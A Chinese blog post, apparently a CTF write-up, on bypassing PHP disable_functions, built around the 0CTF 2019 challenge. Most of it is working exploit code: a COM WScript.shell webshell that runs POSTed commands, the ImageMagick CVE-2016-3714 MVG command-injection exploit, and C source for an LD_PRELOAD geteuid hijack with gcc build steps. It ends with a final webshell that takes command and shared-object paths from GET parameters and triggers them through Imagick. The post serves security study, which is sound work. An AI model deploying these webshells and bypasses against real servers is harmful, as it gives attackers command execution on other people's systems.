结合0ctf2019来讲一下 php disable_functions绕过
黑名单绕过
直接绕过,黑名单就可能存在遗漏
检查一些不常见的命令执行函数是否在disable_funnctions中
具体可以看我上一篇文章提到的命令执行函数
例如用pcntl_exec突破1
2
3
pcntl_exec ( "/bin/bash" , array("whoami"));
系统组件绕过
这个方法适用于windows环境1
2
3
4
5
6
7
8<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
其它组件命令执行
最经典的ImageMagick命令执行
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
http://www.zerokeeper.com/vul-analysis/ImageMagick-CVE-2016-3714.html
LD_PRELOAD劫持
在 UNIX 的动态链接库的世界中,LD_PRELOAD 是一个有趣的环境变量,它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。简单地说,可注入自己的代码,覆盖原有代码。也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过 LD_PRELOAD 来设置它优先加载我们自己编写的程序,实现劫持
通常我们选取geteuid()函数来改造,这个函数会在启动新进程的时候触发
所以我们的攻击链为
- 编制我们自己的动态链接程序
- 通过 putenv 来设置 LD_PRELOAD,让我们的程序优先被调用
- 在webshell上来触发
来看一个经典的poc1
2
3
4
5
6
7
8
9
10
11
12
13#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
我们编译为so文件1
2gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so
网上看到的基本都是用mail函数来进行触发
poc如下1
2
3
4
5#!php
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>
github有一个现成的项目
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
然后这个姿势还可以免杀
需要PHP支持putenv()、mail()
现在我们来看一下0ctf
0ctf
octf给了一个一句话的webshell,但是禁用了各种函数,包括mail()函数,然后服务器上装了Imagick
这大概就是题目环境
这里的imagick是不存在命令执行漏洞的
所以我们只能考虑去劫持LD_PRELOAD,然后用imagick中的某个能启动新进程的函数来触发就ok了
可以去读imagick的源码
但是我觉得可能写个脚本fuzz要实在一点
最终exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
echo $cmd;
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
try{$imagick = new Imagick("/tmp/b2eba50bcc5e1fdf4fd21595bc09a837/test.doc");}
catch(Exception $a){echo $a -> getMessage();}
?>
其它
好吧我不太想写了,因为我觉得上面的够用了,还有一些dl什么的,参见柠檬师傅的github吧
https://github.com/l3m0n/Bypass_Disable_functions_Shell